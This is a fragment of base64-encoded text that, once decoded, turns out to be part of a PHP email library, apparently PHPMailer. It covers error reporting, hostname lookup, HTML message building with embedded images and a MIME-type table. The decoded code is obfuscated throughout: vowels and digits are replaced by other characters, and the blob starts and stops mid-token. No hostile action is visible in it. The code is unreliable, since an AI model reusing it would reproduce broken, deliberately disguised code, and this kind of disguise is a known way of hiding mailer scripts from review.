XJyMXkoKTsNCiAgICAgICAgJHRoNHMtPmJjYyA9IDFycjF5KCk7DQogICAgICAgICR0aDRzLT4xbGxfcjVjNHA0NW50cyA9IDFycjF5KCk7DQogICAgICAgICR0aDRzLT5SNWM0cDQ1bnRzUTM1MzUgPSAxcnIxeSgpOw0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gY2w1MXJBdHQxY2htNW50cygpDQogICAgew0KICAgICAgICAkdGg0cy0+MXR0MWNobTVudCA9IDFycjF5KCk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBjbDUxckMzc3QybUg1MWQ1cnMoKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPkMzc3QybUg1MWQ1ciA9IDFycjF5KCk7DQogICAgfQ0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBzNXRFcnIycigkbXNnKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPjVycjJyX2MyM250Kys7DQogICAgICAgIDRmICgkdGg0cy0+TTE0bDVyID09ICdzbXRwJyAxbmQgITRzX24zbGwoJHRoNHMtPnNtdHApKSB7DQogICAgICAgICAgICAkbDFzdDVycjJyID0gJHRoNHMtPnNtdHAtPmc1dEVycjJyKCk7DQogICAgICAgICAgICA0ZiAoITVtcHR5KCRsMXN0NXJyMnJbJzVycjJyJ10pKSB7DQogICAgICAgICAgICAgICAgJG1zZyAuPSAkdGg0cy0+bDFuZygnc210cF81cnIycicpIC4gJGwxc3Q1cnIyclsnNXJyMnInXTsNCiAgICAgICAgICAgICAgICA0ZiAoITVtcHR5KCRsMXN0NXJyMnJbJ2Q1dDE0bCddKSkgew0KICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgRDV0MTRsOiAnLiAkbDFzdDVycjJyWydkNXQxNGwnXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYgKCE1bXB0eSgkbDFzdDVycjJyWydzbXRwX2MyZDUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJG1zZyAuPSAnIFNNVFAgYzJkNTogJyAuICRsMXN0NXJyMnJbJ3NtdHBfYzJkNSddOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA0ZiAoITVtcHR5KCRsMXN0NXJyMnJbJ3NtdHBfYzJkNV81eCddKSkgew0KICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgQWRkNHQ0Mm4xbCBTTVRQIDRuZjI6ICcgLiAkbDFzdDVycjJyWydzbXRwX2MyZDVfNXgnXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPkVycjJySW5mMiA9ICRtc2c7DQogICAgfQ0KICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gcmZjRDF0NSgpDQogICAgew0KICAgICAgICBkMXQ1X2Q1ZjEzbHRfdDRtNXoybjVfczV0KEBkMXQ1X2Q1ZjEzbHRfdDRtNXoybjVfZzV0KCkpOw0KICAgICAgICByNXQzcm4gZDF0NSgnRCwgaiBNIFkgSDo0OnMgTycpOw0KICAgIH0NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gczVydjVySDJzdG4xbTUoKQ0KICAgIHsNCiAgICAgICAgJHI1czNsdCA9ICdsMmMxbGgyc3QubDJjMWxkMm0xNG4nOw0KICAgICAgICA0ZiAoITVtcHR5KCR0aDRzLT5IMnN0bjFtNSkpIHsNCiAgICAgICAgICAgICRyNXMzbHQgPSAkdGg0cy0+SDJzdG4xbTU7DQogICAgICAgIH0gNWxzNTRmICg0c3M1dCgkX1NFUlZFUikgMW5kIDFycjF5X2s1eV81eDRzdHMoJ1NFUlZFUl9OQU1FJywgJF9TRVJWRVIpIDFuZCAhNW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSB7DQogICAgICAgICAgICAkcjVzM2x0ID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107DQogICAgICAgIH0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ2c1dGgyc3RuMW01JykgJiYgZzV0aDJzdG4xbTUoKSAhPT0gZjFsczUpIHsNCiAgICAgICAgICAgICRyNXMzbHQgPSBnNXRoMnN0bjFtNSgpOw0KICAgICAgICB9IDVsczU0ZiAocGhwXzNuMW01KCduJykgIT09IGYxbHM1KSB7DQogICAgICAgICAgICAkcjVzM2x0ID0gcGhwXzNuMW01KCduJyk7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRyNXMzbHQ7DQogICAgfQ0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBsMW5nKCRrNXkpDQogICAgew0KICAgICAgICA0ZiAoYzIzbnQoJHRoNHMtPmwxbmczMWc1KSA8IDYpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRMMW5nMzFnNSgnNW4nKTsgLy8gczV0IHRoNSBkNWYxM2x0IGwxbmczMWc1DQogICAgICAgIH0NCg0KICAgICAgICA0ZiAoMXJyMXlfazV5XzV4NHN0cygkazV5LCAkdGg0cy0+bDFuZzMxZzUpKSB7DQogICAgICAgICAgICA0ZiAoJGs1eSA9PSAnc210cF9jMm5uNWN0X2YxNGw1ZCcpIHsNCiAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPmwxbmczMWc1WyRrNXldIC4gJyBodHRwczovL2c0dGgzYi5jMm0vUEhQTTE0bDVyL1BIUE0xNGw1ci93NGs0L1RyMjNibDVzaDIydDRuZyc7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPmwxbmczMWc1WyRrNXldOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgcjV0M3JuICRrNXk7DQogICAgICAgIH0NCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIDRzRXJyMnIoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICgkdGg0cy0+NXJyMnJfYzIzbnQgPiAwKTsNCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIGY0eEVPTCgkc3RyKQ0KICAgIHsNCiAgICAgICAgJG5zdHIgPSBzdHJfcjVwbDFjNSgxcnIxeSgiXHJcbiIsICJcciIpLCAiXG4iLCAkc3RyKTsNCiAgICAgICAgNGYgKCR0aDRzLT5MRSAhPT0gIlxuIikgew0KICAgICAgICAgICAgJG5zdHIgPSBzdHJfcjVwbDFjNSgiXG4iLCAkdGg0cy0+TEUsICRuc3RyKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJG5zdHI7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiAxZGRDM3N0Mm1INTFkNXIoJG4xbTUsICR2MWwzNSA9IG4zbGwpDQogICAgew0KICAgICAgICA0ZiAoJHYxbDM1ID09PSBuM2xsKSB7DQogICAgICAgICAgICAkdGg0cy0+QzNzdDJtSDUxZDVyW10gPSA1eHBsMmQ1KCc6JywgJG4xbTUsIGEpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHRoNHMtPkMzc3QybUg1MWQ1cltdID0gMXJyMXkoJG4xbTUsICR2MWwzNSk7DQogICAgICAgIH0NCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIGc1dEMzc3QybUg1MWQ1cnMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5DM3N0Mm1INTFkNXI7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBtc2dIVE1MKCRtNXNzMWc1LCAkYjFzNWQ0ciA9ICcnLCAkMWR2MW5jNWQgPSBmMWxzNSkNCiAgICB7DQogICAgICAgIHByNWdfbTF0Y2hfMWxsKCcvKHNyY3xiMWNrZ3IyM25kKT1bIlwnXSguKilbIlwnXS9VNCcsICRtNXNzMWc1LCAkNG0xZzVzKTsNCiAgICAgICAgNGYgKDFycjF5X2s1eV81eDRzdHMoYSwgJDRtMWc1cykpIHsNCiAgICAgICAgICAgIDRmIChzdHJsNW4oJGIxczVkNHIpID4gNiAmJiBzM2JzdHIoJGIxczVkNHIsIC02KSAhPSAnLycpIHsNCiAgICAgICAgICAgICAgICAvLyBFbnMzcjUgJGIxczVkNHIgaDFzIDEgdHIxNGw0bmcgLw0KICAgICAgICAgICAgICAgICRiMXM1ZDRyIC49ICcvJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGYycjUxY2ggKCQ0bTFnNXNbYV0gMXMgJDRtZzRuZDV4ID0+ICQzcmwpIHsNCiAgICAgICAgICAgICAgICAvLyBDMm52NXJ0IGQxdDEgVVJJcyA0bnQyIDVtYjVkZDVkIDRtMWc1cw0KICAgICAgICAgICAgICAgIDRmIChwcjVnX20xdGNoKCcjXmQxdDE6KDRtMWc1W147LF0qKSg7YjFzNWV1KT8sIycsICQzcmwsICRtMXRjaCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGQxdDEgPSBzM2JzdHIoJDNybCwgc3RycDJzKCQzcmwsICcsJykpOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoJG0xdGNoW2FdKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZDF0MSA9IGIxczVldV9kNWMyZDUoJGQxdDEpOw0KICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGQxdDEgPSByMXczcmxkNWMyZDUoJGQxdDEpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRjNGQgPSBtZGkoJDNybCkgLiAnQHBocG0xNGw1ci4wJzsgLy8gUkZDYW85YSBTIGENCiAgICAgICAgICAgICAgICAgICAgNGYgKCR0aDRzLT4xZGRTdHI0bmdFbWI1ZGQ1ZEltMWc1KCRkMXQxLCAkYzRkLCAnNW1iNWQnIC4gJDRtZzRuZDV4LCAnYjFzNWV1JywgJG0xdGNoWzZdKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJG01c3MxZzUgPSBzdHJfcjVwbDFjNSgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNG0xZzVzWzBdWyQ0bWc0bmQ1eF0sDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDRtMWc1c1s2XVskNG1nNG5kNXhdIC4gJz0iYzRkOicgLiAkYzRkIC4gJyInLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtNXNzMWc1DQogICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA0ZiAoDQogICAgICAgICAgICAgICAgICAgICE1bXB0eSgkYjFzNWQ0cikNCiAgICAgICAgICAgICAgICAgICAgJiYgKHN0cnAycygkM3JsLCAnLi4nKSA9PT0gZjFsczUpDQogICAgICAgICAgICAgICAgICAgICYmIHMzYnN0cigkM3JsLCAwLCB1KSAhPT0gJ2M0ZDonDQogICAgICAgICAgICAgICAgICAgICYmICFwcjVnX20xdGNoKCcjXlsxLXpdWzEtejAtOSsuLV0qOj8vLyM0JywgJDNybCkNCiAgICAgICAgICAgICAgICApIHsNCiAgICAgICAgICAgICAgICAgICAgJGY0bDVuMW01ID0gYjFzNW4xbTUoJDNybCk7DQogICAgICAgICAgICAgICAgICAgICRkNHI1Y3QycnkgPSBkNHJuMW01KCQzcmwpOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoJGQ0cjVjdDJyeSA9PSAnLicpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkNHI1Y3QycnkgPSAnJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkYzRkID0gbWRpKCQzcmwpIC4gJ0BwaHBtMTRsNXIuMCc7IC8vIFJGQ2FvOWEgUyBhDQogICAgICAgICAgICAgICAgICAgIDRmIChzdHJsNW4oJGQ0cjVjdDJyeSkgPiA2ICYmIHMzYnN0cigkZDRyNWN0MnJ5LCAtNikgIT0gJy8nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZDRyNWN0MnJ5IC49ICcvJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICA0ZiAoJHRoNHMtPjFkZEVtYjVkZDVkSW0xZzUoDQogICAgICAgICAgICAgICAgICAgICAgICAkYjFzNWQ0ciAuICRkNHI1Y3QycnkgLiAkZjRsNW4xbTUsDQogICAgICAgICAgICAgICAgICAgICAgICAkYzRkLA0KICAgICAgICAgICAgICAgICAgICAgICAgJGY0bDVuMW01LA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2IxczVldScsDQogICAgICAgICAgICAgICAgICAgICAgICBzNWxmOjpfbTRtNV90eXA1cygoc3RyNG5nKXM1bGY6Om1iX3AxdGg0bmYyKCRmNGw1bjFtNSwgUEFUSElORk9fRVhURU5TSU9OKSkNCiAgICAgICAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgICAgICAgICApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRtNXNzMWc1ID0gcHI1Z19yNXBsMWM1KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICcvJyAuICQ0bTFnNXNbNl1bJDRtZzRuZDV4XSAuICc9WyJcJ10nIC4gcHI1Z19xMzJ0NSgkM3JsLCAnLycpIC4gJ1siXCddL1U0JywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNG0xZzVzWzZdWyQ0bWc0bmQ1eF0gLiAnPSJjNGQ6JyAuICRjNGQgLiAnIicsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG01c3MxZzUNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPjRzSFRNTCh0cjM1KTsNCiAgICAgICAgJHRoNHMtPkIyZHkgPSAkdGg0cy0+bjJybTFsNHo1QnI1MWtzKCRtNXNzMWc1KTsNCiAgICAgICAgJHRoNHMtPkFsdEIyZHkgPSAkdGg0cy0+bjJybTFsNHo1QnI1MWtzKCR0aDRzLT5odG1sYXQ1eHQoJG01c3MxZzUsICQxZHYxbmM1ZCkpOw0KICAgICAgICA0ZiAoISR0aDRzLT4xbHQ1cm4xdDR2NUV4NHN0cygpKSB7DQogICAgICAgICAgICAkdGg0cy0+QWx0QjJkeSA9ICdUMiB2NDV3IHRoNHMgNW0xNGwgbTVzczFnNSwgMnA1biA0dCA0biAxIHByMmdyMW0gdGgxdCAzbmQ1cnN0MW5kcyBIVE1MIScgLg0KICAgICAgICAgICAgICAgIHM1bGY6OkNSTEYgLiBzNWxmOjpDUkxGOw0KICAgICAgICB9DQogICAgICAgIHI1dDNybiAkdGg0cy0+QjJkeTsNCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIGh0bWxhdDV4dCgkaHRtbCwgJDFkdjFuYzVkID0gZjFsczUpDQogICAgew0KICAgICAgICA0ZiAoNHNfYzFsbDFibDUoJDFkdjFuYzVkKSkgew0KICAgICAgICAgICAgcjV0M3JuIGMxbGxfM3M1cl9mM25jKCQxZHYxbmM1ZCwgJGh0bWwpOw0KICAgICAgICB9DQogICAgICAgIHI1dDNybiBodG1sXzVudDR0eV9kNWMyZDUoDQogICAgICAgICAgICB0cjRtKHN0cjRwX3QxZ3MocHI1Z19yNXBsMWM1KCcvPChoNTFkfHQ0dGw1fHN0eWw1fHNjcjRwdClbXj5dKj4uKj88XC9cXDY+L3M0JywgJycsICRodG1sKSkpLA0KICAgICAgICAgICAgRU5UX1FVT1RFUywNCiAgICAgICAgICAgICR0aDRzLT5DaDFyUzV0DQogICAgICAgICk7DQogICAgfQ0KICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gX200bTVfdHlwNXMoJDV4dCA9ICcnKQ0KICAgIHsNCiAgICAgICAgJG00bTVzID0gMXJyMXkoDQogICAgICAgICAgICAneGwnICAgID0+ICcxcHBsNGMxdDQybi81eGM1bCcsDQogICAgICAgICAgICAnanMnICAgID0+ICcxcHBsNGMxdDQybi9qMXYxc2NyNHB0JywNCiAgICAgICAgICAgICdocXgnICAgPT4gJzFwcGw0YzF0NDJuL20xYy1iNG5oNXh1MCcsDQogICAgICAgICAgICAnY3B0JyAgID0+ICcxcHBsNGMxdDQybi9tMWMtYzJtcDFjdHByMicsDQogICAgICAgICAgICAnYjRuJyAgID0+ICcxcHBsNGMxdDQybi9tMWNiNG4xcnknLA0KICAgICAgICAgICAgJ2QyYycgICA9PiAnMXBwbDRjMXQ0Mm4vbXN3MnJkJywNCiAgICAgICAgICAgICd3MnJkJyAgPT4gJzFwcGw0YzF0NDJuL21zdzJyZCcsDQogICAgICAgICAgICAneGxzeCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQuc3ByNTFkc2g1NXRtbC5zaDU1dCcsDQogICAgICAgICAgICAneGx0eCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQuc3ByNTFkc2g1NXRtbC50NW1wbDF0NScsDQogICAgICAgICAgICAncDJ0eCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQucHI1czVudDF0NDJubWwudDVtcGwxdDUnLA0KICAgICAgICAgICAgJ3Bwc3gnICA9PiAnMXBwbDRjMXQ0Mm4vdm5kLjJwNW54bWxmMnJtMXRzLTJmZjRjNWQyYzNtNW50LnByNXM1bnQxdDQybm1sLnNsNGQ1c2gydycsDQogICAgICAgICAgICAncHB0eCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQucHI1czVudDF0NDJubWwucHI1czVudDF0NDJuJywNCiAgICAgICAgICAgICdzbGR4JyAgPT4gJzFwcGw0YzF0NDJuL3ZuZC4ycDVueG1sZjJybTF0cy0yZmY0YzVkMmMzbTVudC5wcjVzNW50MXQ0Mm5tbC5zbDRkNScsDQogICAgICAgICAgICAnZDJjeCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQudzJyZHByMmM1c3M0bmdtbC5kMmMzbTVudCcsDQogICAgICAgICAgICAnZDJ0eCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQudzJyZHByMmM1c3M0bmdtbC50NW1wbDF0NScsDQogICAgICAgICAgICAneGwxbScgID0+ICcxcHBsNGMxdDQybi92bmQubXMtNXhjNWwuMWRkNG4ubTFjcjJFbjFibDVkLjZhJywNCiAgICAgICAgICAgICd4bHNiJyAgPT4gJzFwcGw0YzF0NDJuL3ZuZC5tcy01eGM1bC5zaDU1dC5iNG4xcnkubTFjcjJFbjFibDVkLjZhJywNCiAgICAgICAgICAgICdjbDFzcycgPT4gJzFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbScsDQogICAgICAgICAgICAnZGxsJyAgID0+ICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nLA0KICAgICAgICAgICAgJ2RtcycgICA9PiAnMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywNCiAgICAgICAgICAgICc1eDUnICAgPT4gJzFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbScsDQogICAgICAgICAgICAnbGgxJyAgID0+ICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nLA0KICAgICAgICAgICAgJ2x6aCcgICA9PiAnMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywNCiAgICAgICAgICAgICdwc2QnICAgPT4gJzFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbScsDQogICAgICAgICAgICAnczUxJyAgID0+ICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nLA0KICAgICAgICAgICAgJ3MyJyAgICA9PiAnMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywNCiAgICAgICAgICAgICcyZDEnICAgPT4gJzFwcGw0YzF0NDJuLzJkMScsDQogICAgICAgICAgICAncGRmJyAgID0+ICcxcHBsNGMxdDQybi9wZGYnLA0KICAgICAgICAgICAgJzE0JyAgICA9PiAnMXBwbDRjMXQ0Mm4vcDJzdHNjcjRwdCcsDQogICAgICAgICAgICAnNXBzJyAgID0+ICcxcHBsNGMxdDQybi9wMnN0c2NyNHB0JywNCiAgICAgICAgICAgICdwcycgICAgPT4gJzFwcGw0YzF0NDJuL3Ayc3RzY3I0cHQnLA0KICAgICAgICAgICAgJ3NtNCcgICA9PiAnMXBwbDRjMXQ0Mm4vc200bCcsDQogICAgICAgICAgICAnc200bCcgID0+ICcxcHBsNGMxdDQybi9zbTRsJywNCiAgICAgICAgICAgICdtNGYnICAgPT4gJzFwcGw0YzF0NDJuL3ZuZC5tNGYnLA0KICAgICAgICAgICAgJ3hscycgICA9PiAnMXBwbDRjMXQ0Mm4vdm5kLm1zLTV4YzVsJywNCiAgICAgICAgICAgICdwcHQnICAgPT4gJzFwcGw0YzF0NDJuL3ZuZC5tcy1wMnc1cnAyNG50JywNCiAgICAgICAgICAgICd3YnhtbCcgPT4gJzFwcGw0YzF0NDJuL3ZuZC53MXAud2J4bWwnLA0KICAgICAgICAgICAgJ3dtbGMnICA9PiAnMXBwbDRjMXQ0Mm4vdm5kLncxcC53bWxjJywNCiAgICAgICAgICAgICdkY3InICAgPT4gJzFwcGw0YzF0NDJuL3gtZDRyNWN0MnInLA0KICAgICAgICAgICAgJ2Q0cicgICA9PiAnMXBwbDRjMXQ0Mm4veC1kNHI1Y3QycicsDQogICAgICAgICAgICAnZHhyJyAgID0+ICcxcHBsNGMxdDQybi94LWQ0cjVjdDJyJywNCiAgICAgICAgICAgICdkdjQnICAgPT4gJzFwcGw0YzF0NDJuL3gtZHY0JywNCiAgICAgICAgICAgICdndDFyJyAgPT4gJzFwcGw0YzF0NDJuL3gtZ3QxcicsDQogICAgICAgICAgICAncGhwbycgID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGhwdScgID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGhwJyAgID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGh0bWwnID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGhwcycgID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocC1zMjNyYzUnLA0KICAgICAgICAgICAgJ3N3ZicgICA9PiAnMXBwbDRjMXQ0Mm4veC1zaDJja3cxdjUtZmwxc2gnLA0KICAgICAgICAgICAgJ3M0dCcgICA9PiAnMXBwbDRjMXQ0Mm4veC1zdDNmZjR0JywNCiAgICAgICAgICAgICd0MXInICAgPT4gJzFwcGw0YzF0NDJuL3gtdDFyJywNCiAgICAgICAgICAgICd0Z3onICAgPT4gJzFwcGw0YzF0NDJuL3gtdDFyJywNCiAgICAgICAgICAgICd4aHQnICAgPT4gJzFwcGw0YzF0NDJuL3hodG1sK3htbCcsDQogICAgICAgICAgICAneGh0bWwnID0+ICcxcHBsNGMxdDQybi94aHRtbCt4bWwnLA0KICAgICAgICAgICAgJ3o0cCcgICA9PiAnMXBwbDRjMXQ0Mm4vejRwJywNCiAgICAgICAgICAgICdtNGQnICAgPT4gJzEzZDQyL200ZDQnLA0KICAgICAgICAgICAgJ200ZDQnICA9PiAnMTNkNDIvbTRkNCcsDQogICAgICAgICAgICAnbXBhJyAgID0+ICcxM2Q0Mi9tcDVnJywNCiAgICAgICAgICAgICdtcG8nICAgPT4gJzEzZDQyL21wNWcnLA0KICAgICAgICAgICAgJ21wZzEnICA9PiAnMTNkNDIvbXA1ZycsDQogICAgICAgICAgICAnMTRmJyAgID0+ICcxM2Q0Mi94LTE0ZmYnLA0KICAgICAgICAgICAgJzE0ZmMnICA9PiAnMTNkNDIveC0xNGZmJywNCiAgICAgICAgICAgICcxNGZmJyAgPT4gJzEzZDQyL3gtMTRmZicsDQogICAgICAgICAgICAncjFtJyAgID0+ICcxM2Q0Mi94LXBuLXI1MWwxM2Q0MicsDQogICAgICAgICAgICAncm0nICAgID0+ICcxM2Q0Mi94LXBuLXI1MWwxM2Q0MicsDQogICAgICAgICAgICAncnBtJyAgID0+ICcxM2Q0Mi94LXBuLXI1MWwxM2Q0Mi1wbDNnNG4nLA0KICAgICAgICAgICAgJ3IxJyAgICA9PiAnMTNkNDIveC1yNTFsMTNkNDInLA0KICAgICAgICAgICAgJ3cxdicgICA9PiAnMTNkNDIveC13MXYnLA0KICAgICAgICAgICAgJ2JtcCcgICA9PiAnNG0xZzUvYm1wJywNCiAgICAgICAgICAgICdnNGYnICAgPT4gJzRtMWc1L2c0ZicsDQogICAgICAgICAgICAnanA1ZycgID0+ICc0bTFnNS9qcDVnJywNCiAgICAgICAgICAgICdqcDUnICAgPT4gJzRtMWc1L2pwNWcnLA0KICAgICAgICAgICAgJ2pwZycgICA9PiAnNG0xZzUvanA1ZycsDQogICAgICAgICAgICAncG5nJyAgID0+ICc0bTFnNS9wbmcnLA0KICAgICAgICAgICAgJ3Q0ZmYnICA9PiAnNG0xZzUvdDRmZicsDQogICAgICAgICAgICAndDRmJyAgID0+ICc0bTFnNS90NGZmJywNCiAgICAgICAgICAgICc1bWwnICAgPT4gJ201c3MxZzUvcmZjOGFhJywNCiAgICAgICAgICAgICdjc3MnICAgPT4gJ3Q1eHQvY3NzJywNCiAgICAgICAgICAgICdodG1sJyAgPT4gJ3Q1eHQvaHRtbCcsDQogICAgICAgICAgICAnaHRtJyAgID0+ICd0NXh0L2h0bWwnLA0KICAgICAgICAgICAgJ3NodG1sJyA9PiAndDV4dC9odG1sJywNCiAgICAgICAgICAgICdsMmcnICAgPT4gJ3Q1eHQvcGwxNG4nLA0KICAgICAgICAgICAgJ3Q1eHQnICA9PiAndDV4dC9wbDE0bicsDQogICAgICAgICAgICAndHh0JyAgID0+ICd0NXh0L3BsMTRuJywNCiAgICAgICAgICAgICdydHgnICAgPT4gJ3Q1eHQvcjRjaHQ1eHQnLA0KICAgICAgICAgICAgJ3J0ZicgICA9PiAndDV4dC9ydGYnLA0KICAgICAgICAgICAgJ3ZjZicgICA9PiAndDV4dC92YzFyZCcsDQogICAgICAgICAgICAndmMxcmQnID0+ICd0NXh0L3ZjMXJkJywNCiAgICAgICAgICAgICd4bWwnICAgPT4gJ3Q1eHQveG1sJywNCiAgICAgICAgICAgICd4c2wnICAgPT4gJ3Q1eHQveG1sJywNCiAgICAgICAgICAgICdtcDVnJyAgPT4gJ3Y0ZDUyL21wNWcnLA0KICAgICAgICAgICAgJ21wNScgICA9PiAndjRkNTIvbXA1ZycsDQogICAgICAgICAgICAnbXBnJyAgID0+ICd2NGQ1Mi9tcDVnJywNCiAgICAgICAgICAgICdtMnYnICAgPT4gJ3Y0ZDUyL3EzNGNrdDRtNScsDQogICAgICAgICAgICAncXQnICAgID0+ICd2NGQ1Mi9xMzRja3Q0bTUnLA0KICAgICAgICAgICAgJ3J2JyAgICA9PiAndjRkNTIvdm5kLnJuLXI1MWx2NGQ1MicsDQogICAgICAgICAgICAnMXY0JyAgID0+ICd2NGQ1Mi94LW1zdjRkNTInLA0KICAgICAgICAgICAgJ20ydjQ1JyA9PiAndjRkNTIveC1zZzQtbTJ2NDUnDQogICAgICAgICk7DQogICAgICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKHN0cnQybDJ3NXIoJDV4dCksICRtNG01cykpIHsNCiAgICAgICAgICAgIHI1dDNybiAkbTRtNXNbc3RydDJsMnc1cigkNXh0KV07DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nOw0KICAgIH0NCiAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIGY0bDVuMW01VDJUeXA1KCRmNGw1bjFtNSkNCiAgICB7DQogICAgICAgICRxcDJzID0gc3RycDJzKCRmNGw1bjFtNSwgJz8nKTsNCiAgICAgICAgNGYgKGYxbHM1ICE9PSAkcXAycykgew0KICAgICAgICAgICAgJGY0bDVuMW01ID0gczNic3RyKCRmNGw1bjFtNSwgMCwgJHFwMnMpOw0KICAgICAgICB9DQogICAgICAgICRwMXRoNG5mMiA9IHM1bGY6Om1iX3AxdGg0bmYyKCRmNGw1bjFtNSk7DQogICAgICAgIHI1dDNybiBzNWxmOjpfbTRtNV90eXA1cygkcDF0aDRuZjJbJzV4dDVuczQybiddKTsNCiAgICB9DQogICAgcDNibDRjIHN0MXQ0YyBmM25jdDQybiBtYl9wMXRoNG5mMigkcDF0aCwgJDJwdDQybnMgPSBuM2xsKQ0KICAgIHsNCiAgICAgICAgJHI1dCA9IDFycjF5KCdkNHJuMW01JyA9PiAnJywgJ2IxczVuMW01JyA9PiAnJywgJzV4dDVuczQybicgPT4gJycsICdmNGw1bjFtNScgPT4gJycpOw0KICAgICAgICAkcDF0aDRuZjIgPSAxcnIxeSgpOw0KICAgICAgICA0ZiAocHI1Z19tMXRjaCgnJV4oLio/KVtcXFxcL10qKChbXi9cXFxcXSo/KShcLihbXlwuXFxcXC9dKz8pfCkpW1xcXFwvXC5dKiQlNG0nLCAkcDF0aCwgJHAxdGg0bmYyKSkgew0KICAgICAgICAgICAgNGYgKDFycjF5X2s1eV81eDRzdHMoNiwgJHAxdGg0bmYyKSkgew0KICAgICAgICAgICAgICAgICRyNXRbJ2Q0cm4xbTUnX